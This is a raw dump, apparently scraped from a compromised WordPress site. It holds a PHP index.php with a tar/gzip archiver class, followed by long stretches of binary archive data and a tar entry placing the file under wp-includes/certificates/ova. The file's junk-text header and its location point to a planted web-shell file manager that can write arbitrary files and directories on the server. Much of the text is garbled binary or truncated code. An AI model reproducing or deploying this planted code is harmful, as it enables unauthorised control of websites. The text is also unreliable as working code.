nskldgskgsdgf hlsqmdklsqd speskdjqsjdss PK "[][7[7 index.phpnu[nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PK$[2:W:Windex.php.php.tar.gznu[n#K&ڿwJ$O NW"cNՖZSR6 %S;Q=>n{xPQ'!s[?3u/}`ǻT}smfx?: q'iKRE^dIg44Ï?S^Żڶ_pT ::,Th<~?Ɠ߾NOҷ?9—8l.l //7icٹB8Mˬ7^RGܑg$OzIkuyeCu~eÓ'zQbM3T}V/Ǩ(s3~}[.-v3D$1_*m&֢̒!,hqIO*5\-vz39ɕå+f+f+5=rXpxxvۏܬy~=lkkAk1g!јqm,Y\j`E ;sjvܪ7dҼ-b3o^M?ܩ7\ߠ7y`[Sl~& ő D+DC[i k3n8"XL=hM3 œ<3[EgV)IJ  Đ;D=Hk'GA/-u| 91B*X5Ief9;!+c8̆_wv  G `(1o^^up=r2q Sd"А"|ܿ>Oz_YZb| Βٛ?.NRu+fLn 19{ec]od/IKHVړ4~KhqicE׷pN^5;ZWߵX 9GE-P( ]LV8FÕя÷QE?)}Q|xv7o5q8=o㟿?ԓ'5=Wzt3Vk|q+u:XUϏwwIKWu;:h zY M'95Mke_zNM9gzVgp]=[>Pyg.f`ǂ? Ej t`"'J- Z42^í <8Fؚ5[8T㓒[9o-:?>jE'4^ʬk Z,w8_+>عC>z~{ۿoGtwO14OyNōz{7?ܟ+ٿyox6 neg}ȏ]xK@;AJ$e;vJ"Ww?-[˯/Px\oLj7Ϙ60/%#JT*H!)89*K+!yeڵ86=|ϲwޡǧ~SOfYs4w3Vҋ rD? oބex(Ce\m)ty̔0ڻ;AJ6 !eI {~amUG?[>=t<]3pπc:57mq_ɕ96G)Fo%|#TVɨ;JS?{.c= Mmnt0<95ntw{?>)/u:yWp<~B+߿7w/[Rd da$sp?n,ɗ )z$$f3:Pyf+Ͱ}i_5U&,3̵l7s͝x ad*.LCi>CTs:֥a;Pvqw6NN7,T[϶:k RQ貿wV'5Q.=7GҪ4ss<0TAE2e45Ҕ'#@(INSʝ} :͆Jw7>'B0W0IVЋЊ?gL$RÎO2fA5"`p$&6eDGވ7hBE ^q\)OHIl66K9^ɖ-.6,Eay߀3H8swCbp(^cHK3Jo>@epڅ77,h|%_§LtHIJ'}>#8R"@yl;f&o1nw?B? ї vZHpJH&@`GE^sk֊Edt$)MaT"Xi,s^D6HH$8?`2\I>%frPu_cAj M#瘯T(hYBUV1rĊj2cIX^ mn2Nb B̶l,Ժr$R=LIȧjPiَ\4Y;d\0s75d~Bi?jީ%: "O@ZhBp>O2ZB:-@b4q86,GRR)g5HJw.ȭf[V-"5XH;,a op ![1g8m X0J">c^+)gF+&4v[J3T qs:0Y-'@eIeybtf(<]S(HK1(ސrN 'TXXp,siYfeiɌAKg>Fo RE$OAe}pAFK3du ̫ϊɝ$%fjA"l[ܧ>ޖ2 l?(w"R >?W%4-X[kGT,^!!'h@J+#:IHr&acPرi}9FOO`8P`g 5]{&s>EiЮ#LCk4!Mb jV~ngs,ӭ9~t8[GG;7:!P{-Fu4~?F/=9)Ob&Z2!z,I1.qAJH\ H6TΡtF7 KZvzi ZP,ud'Dݲ65*6g饠c ==w:Hb4@7jڳHu ]CYQZ uĎOlݺfzE+1t\)0:lbL+k6:6J" Q"R'x2gwiNGAKHmUk 9?Y )r~\43Cnht@:"MH A$ myh_۶x.F)MDztk.!@J)'@ TMr|&sB_ k, qL NB}/Y_2$3`%^9¿3텒g,gJFhy{HxuZLtJm&[ FVK's}OYǑNۜ63tJu\W{P`Y>s.]e4"Cөo"DG :$=]E/ {ĸPf!(Mi8X, "LV%v2Y >+@ -ss\캷I@sqk+deኣb]lb3ZuaomVgdr,ZyUIa#.6ͽu[ Q^a}THA8[AcZ΀1ȀNAqKTUQ=0`X}EfŻMs'l{L̓HI:{HŠyqY|5GJb9)rI{yC#Is[fMΥ&,rB y KZ0*\!EZ)iml*̭'ECʸV0ʱ2gp6w?Bw4@B5H !wPJ-rV-qn6/0$fq,ш2Z6~GSG F4w'X?WPg[Z(\am-*6VF.|C elb;KN7{_@u|]C&m7z{{٤P͆kI/9m/xyyzލn__y> {>_37;YN/y pztm :%a4HnxRPWz:l%W lt'VޖFɬ&{+um I.LFi89}OT_BT_YQW&.QC[[wl:m~D+(`%l'%: K䴡,7q9[πHg{IygU^*jLu+`E ѺBYz~PJ ݛ yl $4dWг10u/i2w(ۂ\vYI&VWfaҐyi-lH{ȺLlTVA k ߦt΅BCfEE>L7kTI! Q- -u f"h0j4A) Ԣ݊@6A=q`zzex~IQC©dԳu5Jx(mB\nW;00 p1fjA!4pVɻ44 RKSˈ!446uDӜ4u%w vwyRѺFaF%z+=(ፕ&RxU+k?u]R(W?2r^T \fEDxBUt:=w-x|P"+o4Q0CK \0ڱpaC^hɏZVv-1h!.72gIh0EĒK3KY0IFJM` zTT@Y siLT: XϜHCl9bYS* tYѼ)-DF~ͯ6 id1_M ˗9x9a O<:M׬4F?ː묚"}To*k䴹}Ua{ԫFS:rdOSؠpژ5@FdL'o^o5M}zN.onk#PWAڱnv`<~ƫ ze]j-ovMά՗G[5@ht7/#W;[Q|vuºdbfjh!-YcG4@/14K5u2~$oZrjH/Qהy2̈}{qzTg;(|,p^Zf*C"Y,TWRu÷v&DKW; vPšY|3̫3|6C\uLif|`Θwn$-3Y]6k{UǢs2hLeM*BŠl-6`QIeey8큃1DQËŠ IUX%gcQrnAܞe'/9a\ ]T=L$<Ժ9 8GTpyO xϼH됧A cPZ[ !%u϶;~Ѓ ; }dqxv3dY5hȓ' Z@HUȅo7+`Fՠ1 ,\DBUaf Mmar-{FXP.kԷNwq*\}ۖ,u(Tlq1ޒؔϐ=~`qSʿ(|4 W%]`Ϊ|%tĦ(g-pf&X9J p1nFrumNT aLAQ >N'ʘ7ꇔlť\UO+L$DnSH2$y3G )%e0 qdcr>)QJ$? !͸<(@1ht8uN.\e~S†fۨ#Y 8}S՛rvkreXKœᶑxj!BY I;梘nԛ>`7HL*PeYv6f/f(|AQj"@/PD&$'[ϋV2%]s ݰXE>>~%`7A=դٸ㢿~5hhwo'U_5's肍 pС | >Tu}J gJ9atٸA{EX_sjpPQXO0!a*Rn_ M@5يiIHRx̉Fn.YlaĪ3d2kF]mYhc5XHO7p|;C{3mt`yKfؼ6< A~^KObí8\lLb1]dk2+)jx? F5t.]&`dF+ Aٓ-U9 QD l/ŖӪ Ѥ-(}څ d#TݯbQ1}]Jb>vK |;q?>1hh{.F?W~PI%2]ԩrc0Ybqo`^]MUHxIVңVݢV[O*Ƣ?jUSbNl) yLM4: McVj2儓` $`ylj Qs 38äaZO o Ou~W9 !46v@Z[آtp7QkOT W܇uz0Vlz ѐWZaz}1AYN/ې%}*"!]QU(fIEӬĭqE$>!>#| :)HsrtM BJ=e$$د5% xrGM*a{t[6Eg]ze8# ’i<2] xvf;*}Ld4ed:KaSLSc?ӅTMY~Q,Iykul`r~qWGgF l SE70$+@K1X3qJ?ܯ6]rh&v -qio: U-d"tLſp4?ܑ&hALJ9<}5)5n<; ^ޘ/꾎Vn^5'Wdge~]P%Kjͨ s5ϯa j.txg[HV?(ߡ)'Yfg[5IѷOVjEgzZh9k=XAU:G]z_͢P3J+(:&$5fumU($u8 )@zL6Up66wI5yqO(\daX.'ؗY }YO֎`nޘIkyѬ~ ,2WFZI5UGzۅ&bܾyip1 O}#Z, G}uϷ+RMjԥr袆߁gb)U1?x"gFTGJ@ ѪW'Zŝ7ҌQGo6qY \9%@nyC0SFrӎwWN=8mN6H'ݸi/PCn8|R{YqVz8ok[;n;Soqj v-n7᱕`eҴu%y*\BX/@1DL#*V&]q[8EmNdO4AW5ًCwsJ~S`7m7軠YZd~N˒YOɜP`Fk "D Wʨ8c,N%yOYn\iT2Ȳ6us Cx[fvy\.{X" iv ̙ZZ$Ң*L ѴicAdxd)MҔ}̲[[R81UbTC(ڷc 8:@S9N%9Jr|~8 { A;02$TO؇OAek_jGI_T ʄsRReD1/`,3wkv l\YaFtq˾a%`[~u"Gdt0$2,YNue4WE&R#q47[=oEu9@sY*BeBxd86,8t2h#.SI3Y"\fp g7\,C}. xC6cwFdxYӌhJy_buٔ5%#1cl8xI ߘ`cRl<  Gr?ǀ'rxU Y`OEB@Y0bs emAg!%`fGpHQVut7%?+J8tRޒml4@ʋ#/,P$h^UҪ,[+gX(ijrMCG*k9x^39t~(q>X^aP'zaIT™48%୲6-" +$ȏp^G':֞vth%yQڋ[ J&(/:hK䀂4 .ξt2==-VB- /n4z=F5]mkd<'Ë5QJiPW3a+iK3:&=M7?3x[PK]W]0PyP݁ϓiF"˰mnrd[ut=T,Cđ'jgkZ` l1ºgK4-lqZv5ݝ9Rj}纎K닙Ehmb1֔c\p\vh*eX!6 CØr@/*xrf` QќyX%8s\@`>RDY;_(oPF) iza;pv5#0t!^K|#uH2lW ˙YO26E"i-7,K,Q+1PlUH 8m@~l8C@W}^z21qݞl?y<%AS;Z%k]qtM娅+%e[CڃMEܳ@z"%Ub+X$ϕ Jmѫ+ hѫN>ek?׏΍ܢkRZ#烺 =IP i$0sc.rA#𫘆oOyY2 :S`S∛@lNI/\*- a> xa3 OtRyM[y-P^+J7kUσC+=ѺA@=1)7RN"QF0ìBٸA'K8I}fP}0>*OtfumxBGv) D&vyY|^+)Sc~TnŃ֔C>>M"J8O}$<O~NS+' ?O4E<ʡ%6腒=侈-3O+H!, 5azS(:;11Dup۠ɘ>̲J+tʪ Ė$KAm=pr< C{#7۵]1-魓-~fAĤaSsu| eu:BZ$Wp~G>TǺn#Ydi~sZJj{6G,p)j^g(*|~Z{ZB9((D 7b':ߦoi[1ħN`t)ɧpg9K&ToO:VO"·ݩz?_zԣV *rvN ϜrTt.-󩥸#V0N 3ӓC*<, u:Xw^KGd;\D$?rDZ3$Zyh| 𖲚:^0,O.dk_&ӗd<5ŭؓj&)TAc*,1_`b,r9#Dúb`Wń6J-q_kz0(Oڞ@ҬHՀֵ:hxX: T>UJķl|H=O)D#ro vUdORhMʒu_8˭U۠ S $.:Xu{L[2ǡGR '$Mb cp!1`6ޟls\2Ƌ9lAaNlJ~%a?%^t~nD4]PU?on߮]dWj?'D+;d"25ŏj. sa@Ja j~mw͘l{60^mqbe,oB(g&E-~+q7::x;ë̳hdmqЊ{jx5ILVdjˢH~dZǏLfVk;8q^[8?ƌu8)eG `.ٹ׏{JϷ+еoYh{5}#k[i҅<켨3?\yʌyM]$q5_7?xHjc|0=P#3.ㅼU"rcv}NGxlץϖ2'8c ``y^}n'#^-o*j9Y>ߜ 'QWY'sR46[uÿV?{uc8Q* \9 /;s5\[ܪ VqxP隙ك1hK!L!fu߿/}u-t.nCC0KÃ0oa%BwsEUڛʺWg~|<(gu$GnGj=̏. ̫gB7:ZnƉtmA&{^ۻWZяb\(y>XK鬮o*O$UbteDK꽍7c³q{Xq#d /轗!VIӯ!]2CUhaWۣw5EӂVf5LBoXn"_<ϫyez5rCqe'O燚5ax ka;iASG^-!ʋm+b2$ݘ5tsn̓ʘ~/}oep =fudvr|aU9E7U M #.E=@C7lr/4$7;n$ݓ^BzPZgvnr* KIv[ג29qi/ԀCPC8m2[j3km/vZ*Dq  ڏ Ŭ̍hrԱUd:^[GeDm~A°9UdoN6qp<r$ۭ6olCմ crg:Xl"sfRuKԹJfi`fY0rlOFpN|E2s)&0[3ks]Q~B(pL|qф۱BzBXtYa=n() r|BgZ@AOIgt1S\dRNv6T}ei?;CfG|YKz ҰrBĉ VP&zFߪf"3BHd g:d8%& |q|=6g"L"ΙM)7$FuɛEWPhf~FhSAy(Z"A9UjgjƮ~b0Y:w OVQ(+4$aƈkf_~7ǛM)A3 w 0V'G5 lxFbl*贮XO:Ŀߣ* 1݇lHep%N;uz8ku2q:Z}mpLt#lr(`\ŗ˵D֊5L)P72)Ujy ΍GD0lۍNS_[7;u}?z u\lpv] hKg;T%۔d@l{ i+l/7/JiwMZ6mʂ~\ ~hFն,'۴? Fǿv0} #S,8ɛez0%ъZ2hyB.uI d1{)PyK;j)*Vv[eB< (H7. [&P׋lW6)>bkyu]G'[UdK;]Cz0?5S|H#q{WՐ3;T#kO X޼a֐6э Yq?>ղ+yT,TjIT'Wxh\;{%R+Ia C. e2v}%TbdmFeҜ{YO5z!(vҝ0fU~ߞIZ‡8g. O'3hjo9e+>\-]>{~Ÿ{{YDJ-h=|D< . -nXG46n;]QzVǫ&K"(馡F/D(bNDq[DDgQzVchWʪ5DcQ (KU31mMfol'qY[hel5-2`ڀ(7 iUhk`åP@) V'A*ɾesY̏jmۄtpi{fk% u;Z0v8/TbFT@ _2OMLF_aQ/ɚifn+yf Rxjglpc$j2,ܳuUj2ѱD@LĦ2򔲌eCMLlZlxd+U"(1$Uֳm̛6d3+FhvZ2bX3fe, 9QTqKg =^- 40;2/cImx6Tܑ\疍z\.Lu2d0( `.2LlHS $ࡂ7(TpMxסA0J@LAKpƚf] XRNrh7 5EΓD.)8E>qg 1Q)δ0f]y!|M3[df3Ұ 0d*9 T윣PYb'a 3ܩ 2eRccPAd'n6Pג${XWۛz'e`iÞtHB%ש2Ҟ G'0@[PJ(U}[lX#69RFϬGdaI.vR@5$%gig Wd \<jf ffds g#TJ,I ݒ%*Lh¾~E@2ʖf1M X$Z|D-yTog?Y$xۅS]I'n_6F={ise kI,.RP;bPm 0,Á9 (Ca{Vxɚk޵􂚀g;E(K\M+#Ul aژ W؄g95 ȸOodLQ *՛ZIJ~yJY*Y9Grх:DA 1VXBN{c"=[Zׂtubtxu@ |M s 5%X&#7q`Z#IUr\Bq@iMwoq줧?jQ^4lm5_< Ǔk}GDuJODWU:!OwyYQVmj&NTe󨫥&˜srwC2:Ф&UP5s Btkќ \͛e<6: D1?ڒQ8)#MӪ1Eh~?yb=.O-5٣4%]򫆖XKdEf؛3s=1 KބUXdBo?g{ֈjzތX+)6\ y`VK6|*hѼ v=g: sQAraME@ߨvHa(Ov_ d P-$')RRpȓ1İl@*n2k";|YPz]0g@+fEh"kPpHY(9J-`^jcRy+D.b'T+uc!;ພu)V.;D+&>pյ^kq7ـ(Z bIY[<2)ϴF󢠓`t.Q#d3ZSP%a& EtDkI+xUD5ft! XZ)OYIemiP -pUE8d.{! G]V 'ps@W"6:잤ڝ5 *u uUmУU6kנhU2P>6̕p<\LaO\B`)=+4 5kE{!Y{BG^< dJC&*c¥ \l6<^ERkWJAuy93Z{hO;BȌ>ias.噞5iGoTv=Uw{<\̈́R2ϣN@ ☠ѥgS{ⱏIE$M@qo xvj( @ʼ:/:.q\z\(Oh4~:#^ŝ=tj(D*^M#])l/.m$5l [Q(b]>{d;8zfl!wSVJ'O|cpaڍ.'?,Sd]h@V7ghP6%EٶC&+΁)j+ɭ :DWi^ѕ.jn-\pXS]ԟ[Ӡ$u߆\ϫI ?\)ӜiȒA3+q4z&⛹>j(WV9kC+$ZRtQJd'g@E<;D,GgqH.ɲA)Y?EDZC[ 53^e0#XhvFgfM&" $lp#P],z~/3OpVb?^R~@~١ \dSqb1k2!xN$qYODA'lRb#J͠H1Ar &Gf9(yգ8E*^vk8ZN waS۴ UkzX?OijPD86{0ĩKdpvSa~ 蜴r5Dh 3ϰdX Y`, _ː[*dF\#B.Q$1j Ch#Cޓ֌R]aΞ;90 ;j['w$'B==J^WMI3'P3ƴWP,'ȧbOpЂ:iJ ĤHGDc" QmG%o0Ҟ>/Wh -4b,UqgTpJ{Tċ|6Q=P" 2T=X Mk_ (ūpɫ$x"Ep=#fp+ 63HqE>8K=#ӷŸ-' I:'vnU`S0@.48Caf d4Yi%rPY`e 7 Y90^qN0M=3Sєg`yUYPE b-L*M*]TR$d1pqB:kE&dih xM 6،ys-bCo>5ck{s|81~pYXEd*X6;kIE8s4tUAⅢR7/-CM\Z(̜5oӶBUd sS?CA{v)t \h+u+iE}P\h(˴[_)DF}ټ G.{`{ rKm(k0BYH71nSL^)Vfϼ\,AP&hi0.%R=aMV9 D}XE H8knƂ$vBi뼏LÌN@omYaJ,W14n|d-+o1JPK$[O>> index.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php000064400000233533150550212000022205 0ustar00nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
